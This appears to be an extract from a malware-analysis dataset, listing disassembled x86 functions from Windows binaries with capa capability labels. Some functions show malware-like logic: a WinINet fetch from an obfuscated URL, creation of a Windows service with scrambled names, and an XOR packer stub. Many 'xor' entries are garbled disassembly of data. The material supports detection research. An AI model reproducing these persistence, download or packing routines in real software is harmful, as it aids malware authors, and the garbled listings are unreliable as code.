joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43d774
Capabilities:
Encode data using xor

Disassembly:
push ds
mov cl, 0xd
in eax, 0xe6
fiadd word [ebx - 0x45]
aaa
pop edx
pop ebx
invalid
adc byte [ecx - 0x1f1ce90a], dl
daa
cmc
sal byte [ebx], 1
xor byte [edx], dh
stc
pop es
in eax, 0xfc
jp 0x43d7a6
loope 0x43d75f
push ds
xor ecx, dword [0x4dc519ab]
sub eax, 0x83922690
pop ebp
cmp bh, byte [ecx]
xor edx, dword [ebx - 0x29]
loope 0x43d78f
call 0xd10ae39e
adc al, 0x82
adc al, al
in eax, dx
pop ss
sub edx, dword [ebp + 0x27a1a344]
aad 0x62
mov ecx, 0x78bcc1aa
sub eax, 0xbec82fa1
xor al, 0x1f
shl byte [edi + 0x6659588], cl
sbb ecx, esp
fmulp st(6)
fucomp st(3)
mov eax, dword [0x45b0b7f7]
xor bl, byte [edi + 0x7e]
enter 0xffffffffffffb034, 0x32
int1
jb 0x43d852
je 0x43d842
lsl eax, word [esi + 0x3677d344]
je 0x43d808
aad 3
xlatb
mov ebp, 0xd5a0c419
mov ah, 0
cmp byte [ecx + edx*8], al
wait
pushal
dec esp
sal dword [eax - 0x18b5e43e], cl
invalid
jnp 0x43d84d
jecxz 0x43d818
dec esi
mov edi, 0xc7fdf558
add byte [edx - 0x4c5fbcbe], bl
push eax
loop 0x43d83b
mov al, al
cmp byte [esp + eax*2 + 0x28015646], cl
adc dword [esi - 0x24], esi
xor eax, 0x78ea093a
mov ch, 0xec
xchg ebx, eax
adc esi, dword [edx + 0x55]
push ebp
imul esp, dword [ecx], 0xffffffab
xchg edi, eax
shr dword [eax - 0x3e0ad744], 1
adc esi, edx
rcl dword [ecx], 0xd6
mov ah, 0x11
push ds
pop ss
inc ecx
sbb al, byte [ecx - 0x51e912a9]
dec ecx
dec ecx
push eax
push 0x1fbbe43f
aas
in al, 0xbb
pop ds
pop es
inc ebx
mov bh, 0xf2
sub al, 0xd
daa
sub eax, 0xc98ad8ce
int 0xe5
adc bh, byte [esp + 0x26c38674]
fnstcw word [edx + eax*4]
inc edi
and eax, 0x98cf0fdd
jo 0x43d831
pop ds
sal edi, cl
mov dh, 0x75
push edi
not edi
push ebp
pop ebx
cmp al, 0x12
pop esp
sar ebx, 0xe2
inc eax
into
ja 0x43d855
jns 0x43d849
std
outsb dx, byte [esi]
dec edi
xlatb
jmp 0x22d554a5

Function at 0x441683
Capabilities:
Encode data using xor

Disassembly:
out 0xd7, eax
mov es, word [eax]
dec eax
inc edx
mov byte [esi + edi*8 - 0x56f0b1c2], cl
dec eax
invalid

Function at 0x451eec
Capabilities:
Encode data using xor

Disassembly:
lahf
shl dword [edi + 0x5a], 0x7f
mov al, byte [0x53140a9e]
out dx, al
adc al, byte [ebx + ecx*8 - 0x3fe8ffbb]
jb 0x451f12
retf
pop ss
sal byte [edx + 0x12], 0xb5
popal
mov ch, 0x61
out dx, eax
adc dword [esi - 0x5428b0b4], ebp
inc ecx
jecxz 0x451efc
invalid
xlatb
add byte [edx + 0x41d7bd86], 0xaf
inc ecx
scasd eax, dword es:[edi]
pop ss
xor byte [esi + 0x674a734b], 0xc5
shr dword [ebx - 0x29481a88], cl
mov eax, 0xe6e350c2
xor eax, 0x6353eaeb
frstor dword [esi + 0x62]
jle 0x451f0b
dec esi
xor dl, byte [ebx + 0x4628ab0]
push edx
bound eax, qword [edx + edx*2]
push dword [eax + 0x76]
pop ecx
push ebp
daa
js 0x451ef9
mov dl, 0x4f
xor al, 0xfa
mov bl, 0x24
cmp al, 0xd6
sti
popfd
adc dword [edi + 0x483ce306], ecx
mov dh, 0x43
cmp eax, 0x46682992
sbb dword [ecx + 0x4234952], edi
push cs
aaa
das
mov eax, dword [0x9d0f8c72]
jle 0x451f37
push es
call 0x473831f2
push es
cmpsd dword [esi], dword es:[edi]
fmul qword [eax - 0x75]
inc ebx
push 1
arpl word [edi], cx
or eax, 0x3f672e63
invalid
Function at 0x454c1e
Capabilities:
Encode data using xor

Disassembly:
push esi
sub dword [eax - 0x5c], eax
mov ah, 0xa
aas
mov al, byte [0x86b6866e]
adc byte [eax + edi*4], ch
invalid
inc esp
out 0x44, eax
add eax, 0xf6db178d
inc ebx
jnp 0x454c64
fcom qword [ecx + esi*8 + 0x2a]
enter 0xffffffffffff8644, 3
or edx, dword [edx + 0x234c0435]
xor eax, 0x3234c04
cmc
xor eax, 0x3234c04
cmc
arpl si, si
cmpsd dword [esi], dword es:[edi]
mul dh
xor al, 0x82
xchg dword [ecx + eax*4 + 0x50], esp
sal dword [ebp + 0x49], cl
leave
jbe 0x454c83
jae 0x454bd7
ljmp 0xf22:0xef6a12b4
mov ah, 0x12
push 0xffffffffffffffef
and cl, byte [edi]
push eax
js 0x454c63
ret 0x6fb6
lodsd eax, dword [esi]
jno 0x454c09
jecxz 0x454c12
jb 0x454c32
shr dword [eax + 0x56], 0xf5
loope 0x454c38
mul byte [ecx - 0x6d]
pop ecx
add esp, esp
pop ebp
int1
fild dword [eax + 0x33a23688]
add dword [ebx - 0x3e], 0x48d2a683
inc ebx
adc bh, 0xf1
mov byte ss:[0xc2438133], al
mov byte [0xc2438133], al
and dword [esi - 0x7dbcb72e], 0xffffffd7
int1
invalid
pop ebx
nop
cld
or byte [esi - 0x38], 2
loopne 0x454c4b
mov cl, 0xe6
xor dword [edx + 0x737860a], 0xffffff9d
aaa
mov eax, dword [0xaac368b6]
stosb byte es:[edi], al
push ds
push ds
xor cl, dl
cwde
nop
xor dword [ecx + 0x4948e00f], 5
push edx
dec ebp
in al, dx
mov ah, 0x97
mov esi, 0x90f8ae0c
mov ecx, dword [edx + 0x331223a2]
push 0xffffffffffffffc8
jp 0x454c9a
in al, 0x89
invalid

Function at 0x45cca5
Capabilities:
Encode data using xor

Disassembly:
fcompi st(6)
into
and byte [eax - 0x6845f50a], ah
invalid
bound esi, qword [0x54044957]
jbe 0x45cc4a
push ds
into
stosb byte es:[edi], al
pop ebp
sub al, ah
mov dl, 0xc7
add byte [ebx + edi*2 - 0x38f52a15], 7
jnp 0x45cc32
aad 0xa
mov dword [edi], 0x6683d671
xor bl, byte [ebx]
pop es
jno 0x45cc23
and dword [esi + 0x32], 0x1b
inc esi
mov ebp, 0xd7177a5b
jp 0x45cc45
jnp 0x45cca6
push ds
mov dl, 0xd6
xor esp, dword [ecx]
sub eax, 0x82f7ba60
cmp eax, 0x7a291ecb
salc
and dword [edx + 0x4f34e282], esp
xchg ebx, eax
mov esi, 0x75b1ee03
mov esi, 0x472a120d
mov byte [0x3c431452], al
mov dl, byte [edx - 0x7a]
test esp, ecx
das
ja 0x45ccca
leave
xchg ebx, eax
cmp dword [ebx], esi
test al, 0x37
pop edx
mov dh, cl
dec edi
sub byte [edx - 0x1f], 0xc2
invalid
in eax, 0xf9
stc
jecxz 0x45cc3f
call 0x28b9ef62
xchg ebx, eax
mov bl, 0x26
lcall 0x2f39, 0xcbfe67a9
ja 0x45cce3
xor dl, dh
invalid
hlt
das
insb byte es:[edi], dx
mov ecx, dword [0x77822992]
lahf
xchg ebx, eax
inc ebx
jbe 0x45cd39
push esi
dec edi
xor byte [ebx + 0x6290d8ea], ah
adc al, 0x83
retf
sbb al, 0x6c
xor byte [ecx], al
sbb byte [edi], 0x90
pop ecx
mov ah, 0x6c
mov dl, 0x7c
sbb ebx, ecx
dec edi
salc
das
int3
Function at 0x494220
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 8
push esi
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x494258
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
lea edx, [esp + 8]
push edx
push esi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
jmp 0x49425c
mov eax, dword [esp + 8]
test eax, eax
pop esi
je 0x494272
mov eax, dword [0x659684]
push 0x6593b8
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov eax, dword [esp]
add esp, 8
ret

Function at 0x4a0419
Capabilities:
Encode data using xor

Disassembly:
mov al, 0xf7
inc ebx
out 0xda, eax
hlt
in eax, 0x60
jecxz 0x4a0345
test byte [edi], ch
inc eax
out dx, eax
lcall 0x5155, 0xec3eb234
scasb al, byte es:[edi]
js 0x4a031f
int 0x94
cwde
in al, 0xf3
insb byte es:[edi], dx
rep insb byte es:[edi], dx
cmp ecx, dword [ebp + 0x5c95d4dc]
outsd dx, dword [esi]
fstp xword [ebx]
and byte fs:[ebx + edx], dh
dec edx
inc ecx
mov cl, 0x91
cmc
jne 0x4a0339
add ebp, edi
insb byte es:[edi], dx
mov ah, 0x5a
pop edx
mov esi, edx
jle 0x4a02f8
invalid
scasd eax, dword es:[edi]
insd dword es:[edi], dx
push esi
mov ecx, 0xc7b4e830
push 0xffffffffffffffb4
dec esi
xchg ebx, eax
inc eax
mov ch, 0x78
sbb dword [eax - 0x4d4d3c71], eax
invalid
xor eax, 0x471252da
stosd dword es:[edi], eax
adc eax, 0xd24d3383
lodsb al, byte [esi]
aad 0x2a
and eax, 0xd654a57d
dec edx
loopne 0x4a0328
jne 0x4a0309
scasd eax, dword es:[edi]
mov eax, dword [0x2556837b]
or eax, dword [edx - 0x4b]
xor byte [0x704d1e00], ch
cmp byte [ebp - 0xe], dh
jecxz 0x4a0386
retf
jb 0x4a0368
jb 0x4a03e6
pop ds
adc eax, 0xea13b57c
sub byte [edx + edx*8], bh
add eax, 0x96fdf540
loop 0x4a0438
fild word [edi + 1]
lea edx, [ebx]
pop ss
mov byte [0x5e1a2254], al
invalid
mov dword [ecx], ecx
das
mov edi, 0x1d0543ac
test byte [edi + 0x24547dfe], al
push esi
aam 0x23
cmp byte [ecx - 0x67], 0xd5
stosb byte es:[edi], al
lds ecx, [ebx]
or dword [edx + 0x522d365d], edx
sbb al, 0x5e
pop ss
adc ecx, dword [ebx]
out dx, al
xor byte [ebx], al
sar dl, 1
jae 0x4a0433
outsd dx, dword [esi]
clc
jmp 0x94acd909
adc ebp, dword [ecx]
lodsd eax, dword [esi]
insb byte es:[edi], dx
xchg esp, eax
xchg ebp, eax
push 0x50647a9d
jno 0x4a03c1
pushal
and ch, ch
sub eax, 0xa905ca3d
stosb byte es:[edi], al
lahf
adc byte [esi + 0x6d555ce7], 0x9d
pop esp
push ebp
insd dword es:[edi], dx
popfd
mov bl, 0x37
aaa
jmp 0x4a0491
lahf
invalid
loope 0x4a0477
ret 0xb620

Function at 0x4a5553
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
cwde
aad 0xd0
leave
les eax, [ebp - 0x1e]
pop ss
adc byte [0x7652d5e4], 0x22
mov ch, 0x42
inc ebp
insd dword es:[edi], dx
xor byte [esi - 0x5208ce45], dl
adc al, 0xe
invalid
Function at 0x51e943
Capabilities:
Encode data using xor

Disassembly:
fistp word [eax + 0x5f]
add ebp, ebp
push cs
pop ebp
out dx, eax
mov al, byte [0x552aa14f]
adc byte [eax - 0x2d], dh
inc eax
or dword [edx - 0x11], edx
xor byte [ebp + 0x61054213], bl
nop
arpl word [ecx], sp
push edi
loope 0x51e9b8
adc dword [esi - 0x6176109d], edx
push ecx
push ecx
sub al, 0x46
clts
mov edi, dword [edi - 0x4fcbbbd3]
sbb al, dl
inc ebx
adc dword [ebx + 0x2edcacb7], 0x93f0be2d
enter 0xfffffffffffffab1, 0x70
xor byte [ecx + edx*4 + 0x60e28f0f], al
inc ecx
cmp eax, 0x85a07e21
xor dword [edi - 2], edi
mov al, 0x7b
fcmovnu st(0), st(2)
in eax, dx
xchg ecx, eax
inc eax
and ebp, edx
mov al, byte [0xa1ce5e3d]
add bh, byte [edi + 0xb7e0f10]
jg 0x51e976
scasb al, byte es:[edi]
loope 0x51e9eb
sbb dl, byte [eax + 0x26]
or byte [esi], 0x5e
jne 0x51e9ff
or byte [0x1fae8fc1], dl
sub al, 0x1a
mov esi, 0x21322125
jl 0x51ea36
outsd dx, dword [esi]
out dx, eax
jle 0x51e96a
mov cl, 0x7f
push ecx
jmp 0x51ea09
inc ebp
add dword [eax], ebx
ret 0xc08f
mov byte [0x3ffbf941], al
pop es
jle 0x51ea85
pop eax
add dword [esi + ebx], ebx
sbb al, 0x1e
xlatb
sbb byte [ebp + 4], 0x5b
ret
add al, byte [ecx*8 + 0x1ed2ff6e]
scasd eax, dword es:[edi]
rcr byte [edi + edx - 0x71], cl
and dl, byte [ecx - 0xa]
jg 0x51ea15
jge 0x51ea26
add dword [edx + 0x4e], 0x822e2679
pushfd
rol byte [edx - 5], 0x4d
fidivr word [edi - 0x20]
mov ss, word [esi]
loopne 0x51e9c6
push ss
mov byte [0x3fbf1420], al
push eax
adc byte ds:[edx], bl
shr byte [0xe6775541], 0xec
jns 0x51ea59
lcall 0xabd1, 0xa02cc2c9
rcr dword [esi + 0x17], 0xc1
invalid
mov eax, dword [0xd941a8f5]
push ecx
inc eax
scasd eax, dword es:[edi]
push edx
xor dword [edx], 0xee8daa81
sal ecx, 0x1e
insd dword es:[edi], dx
jmp 0x51ea1c
hlt

Function at 0x578e55
Capabilities:
Encode data using xor

Disassembly:
pop ds
mov word [esi + edi*4], gs
push 0x50
fsub qword [ebx + 0x62]
mov esi, 0xaca29287
push edx
push eax
mov al, byte [0xdb5856aa]
cmp dword [edx + 0x43], edi
inc ebx
shl byte [edx + 0x3a], 0x56
bound edi, qword [edx]
push esi
jbe 0x578df3
not byte [esi]
fmul dword [ebx]
xlatb
xor byte [0xd9da277f], al
cmpsb byte [esi], byte es:[edi]
pshufw mm6, qword [edx + 0x2f], 0x72
push eax
inc edx
pop edx
sbb al, 0xd1
cmp byte [ecx - 0x58], bl
aas
sar dword [eax], 1
pop ecx
test al, 0x3f
dec esp
push cs
scasd eax, dword es:[edi]
add esp, dword [eax + 0x2f5c82e]
mov byte [0xfec5fa28], al
je 0x578dd7
pop edi
bound edi, qword [ecx + 0x38]
jle 0x578dc0
ret
jmp 0x578dd9
Function at 0x64fd6e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x656260
cmp edx, dword [eax]
je 0x64fd90
add eax, 8
inc ecx
cmp eax, 0x6562f0
jl 0x64fd81
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x656260]
jne 0x64febe
mov eax, dword [0xa598a4]
cmp eax, 1
je 0x64fe98
test eax, eax
jne 0x64fdc1
cmp dword [0x6561a4], 1
je 0x64fe98
cmp edx, 0xfc
je 0x64febe
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x64fdf8
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00650480
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.006506b0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x64fe3b
lea eax, [ebp - 0x1a4]
push eax
call fcn.006506b0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x653750
push edi
call fcn.00651e80
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00650480
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00650490
lea eax, [ebp - 0xa0]
push 0x653730
push eax
call fcn.00650490
push dword [esi + 0x656264]
lea eax, [ebp - 0xa0]
push eax
call fcn.00650490
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00651df4
add esp, 0x2c
pop edi
jmp 0x64febe
lea eax, [ebp + 8]
lea esi, [esi + 0x656264]
push 0
push eax
push dword [esi]
call fcn.006506b0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x10011750
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x808
push ebx
push ebp
push esi
push edi
push 0x2c0
push str.2_747:_322
call fcn.10013040
add esp, 8
cmp word [0x1001e462], 0
je 0x100118b7
push str.WININET.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenA
push esi
call ebp
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call eax
mov edi, eax
test edi, edi
mov dword [esp + 0x10], edi
jne 0x100117b9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret
push str.InternetOpenUrlA
push esi
call ebp
push 0
push 0x80000100
push 0
push 0
push str.kwur9_qus_achfs__lo.hs_vyv
push edi
call eax
mov ebx, eax
test ebx, ebx
jne 0x100117e5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x18]
push str.InternetReadFile
rep stosd dword es:[edi], eax
push esi
mov dword [esp + 0x1c], 0
call ebp
lea ecx, [esp + 0x14]
lea edx, [esp + 0x18]
push ecx
push 0x800
push edx
push ebx
call eax
push str.InternetCloseHandle
push esi
call ebp
push str.FreeLibrary
push str.KERNEL32.dll
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebp
push ebx
mov ebp, eax
call edi
mov eax, dword [esp + 0x10]
push eax
call edi
lea ecx, [esp + 0x18]
push 0x1001e96c
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x10011876
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x18]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x18]
sub ecx, edx
push ecx
push eax
push str.2_747:_322
call dword [sym.imp.MSVCRT.dll_strncpy]
inc ebx
push ebx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x10
mov word [0x1001e460], ax
push esi
call ebp
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x808
ret
Function at 0x10011f10
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CreateServiceA
push str.ADVAPI32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.LockServiceDatabase
push str.ADVAPI32.dll
mov ebx, eax
call esi
push eax
call edi
push str.ChangeServiceConfig2A
push str.ADVAPI32.dll
mov ebp, eax
call esi
push eax
call edi
push str.UnlockServiceDatabase
push str.ADVAPI32.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
push str.OpenSCManagerA
push str.ADVAPI32.dll
mov dword [esp + 0x20], eax
call esi
push eax
call edi
push 0xf003f
push 0
push 0
call eax
test eax, eax
mov dword [0x10020bfc], eax
jne 0x10011f96
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
mov ecx, dword [esp + 0x20]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push str.Vpwu_Dagegbdm_Hoieomtr_Rtt
push str.Pvpry_B_fgagelOcn
push eax
call ebx
test eax, eax
mov dword [0x10020bf8], eax
jne 0x10011fd1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
mov edx, dword [0x10020bfc]
push edx
call ebp
mov ecx, dword [0x10020bf8]
mov esi, eax
lea eax, [esp + 0x10]
mov dword [esp + 0x10], str.WwtttgBffcenlhi_Oomvsqp_Twrz__b_Fdb
push eax
push 1
push ecx
call dword [esp + 0x20]
push esi
call dword [esp + 0x1c]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xc
ret

Function at 0x10012010
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x3c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.LockServiceDatabase
push str.ADVAPI32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.ChangeServiceConfig2A
push str.ADVAPI32.dll
mov ebx, eax
call esi
push eax
call edi
push str.UnlockServiceDatabase
push str.ADVAPI32.dll
mov ebp, eax
call esi
push eax
call edi
push str.OpenSCManagerA
push str.ADVAPI32.dll
mov dword [esp + 0x24], eax
call esi
push eax
call edi
push str.OpenServiceA
push str.ADVAPI32.dll
mov dword [esp + 0x18], eax
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
push 0xf003f
push 0
push 0
mov dword [esp + 0x24], eax
call dword [esp + 0x1c]
mov esi, eax
push 0xf003f
push str.Pvpry_B_fgagelOcn
push esi
call dword [esp + 0x20]
mov edi, eax
xor eax, eax
mov dword [esp + 0x24], eax
mov ecx, 1
mov dword [esp + 0x28], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x44], ecx
lea ecx, [esp + 0x34]
mov dword [esp + 0x30], eax
push esi
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], 0x15180
mov dword [esp + 0x3c], 0x3e8
mov dword [esp + 0x44], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x30], 3
mov dword [esp + 0x34], ecx
mov dword [esp + 0x2c], eax
call ebx
lea edx, [esp + 0x20]
push edx
push 2
push edi
call ebp
push edi
call dword [esp + 0x1c]
push esi
call dword [esp + 0x20]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x3c
ret
Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..rsrc
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x431072
nop
mov ebx, 0x40915c
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x7a130727
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x431060
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4310d2
nop
mov ebx, 0x42f3f8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x3f6c55fb
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4310c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x642c525b
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x642c8008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edx, ecx
mov dword [ebp - 0x18], 0x43584146
push 9
pop ecx
xor eax, eax
mov dword [ebp - 0x14], 0x5245564f
lea edi, [ebp - 0x3c]
mov dword [ebp - 0x10], 0x5245562d
rep stosd dword es:[edi], eax
sub esp, 0x18
mov dword [ebp - 0xc], 0x77353030
mov ecx, edx
mov dword [ebp - 8], 0x87
xor ebx, ebx
call fcn.642c6f91
mov esi, eax
cmp esi, 0xffffffff
jne 0x642c52c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x642c165c
call fcn.642c6839
pop ecx
pop ecx
jmp 0x642c52f7
push ebx
lea eax, [ebp - 0x40]
push eax
push 0x24
lea eax, [ebp - 0x3c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x642c530a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x642c168c
call fcn.642c6839
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.642c7870
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x40], 0x24
jne 0x642c52f0
lea ecx, [ebp - 0x18]
lea edx, [ebp - 0x3c]
mov eax, dword [ecx + ebx*4]
cmp eax, dword [edx + ebx*4]
jne 0x642c52f0
inc ebx
cmp ebx, 5
jne 0x642c5316
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
jmp 0x642c52f9

Function at 0x642c5330
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x642c8008]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0x208
xor esi, esi
lea eax, [ebp - 0x214]
push esi
push eax
mov ebx, edx
mov edi, ecx
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, dword [section..data]
cmp eax, section..data
je 0x642c538e
test byte [eax + 0x1c], 2
je 0x642c538e
cmp byte [eax + 0x19], 5
jb 0x642c538e
push dword [eax + 0x14]
mov edx, 0x642c18f0
push dword [eax + 0x10]
push 0xa
pop ecx
call fcn.642c1f8a
lea eax, [ebp - 0x214]
push eax
push esi
push esi
push edi
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
test edi, edi
jns 0x642c53dd
mov eax, dword [section..data]
cmp eax, section..data
je 0x642c53d1
test byte [eax + 0x1c], 2
je 0x642c53d1
cmp byte [eax + 0x19], 2
jb 0x642c53d1
push edi
push dword [eax + 0x14]
mov edx, 0x642c18f0
push dword [eax + 0x10]
push 0xb
pop ecx
call fcn.642c1fa8
movzx eax, di
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x642c5427
lea eax, [ebp - 0x214]
mov edx, 0x105
push eax
mov ecx, ebx
call fcn.642c1e30
mov edi, eax
test edi, edi
jns 0x642c5424
mov ecx, dword [section..data]
cmp ecx, section..data
je 0x642c53d1
test byte [ecx + 0x1c], 2
je 0x642c53d1
cmp byte [ecx + 0x19], 2
jb 0x642c53d1
movzx eax, di
push eax
push dword [ecx + 0x14]
push dword [ecx + 0x10]
push 0xc
pop ecx
call fcn.642c5233
jmp 0x642c53d1
xor esi, esi
inc esi
mov ecx, dword [ebp - 8]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.642c7870
mov esp, ebp
pop ebp
ret 4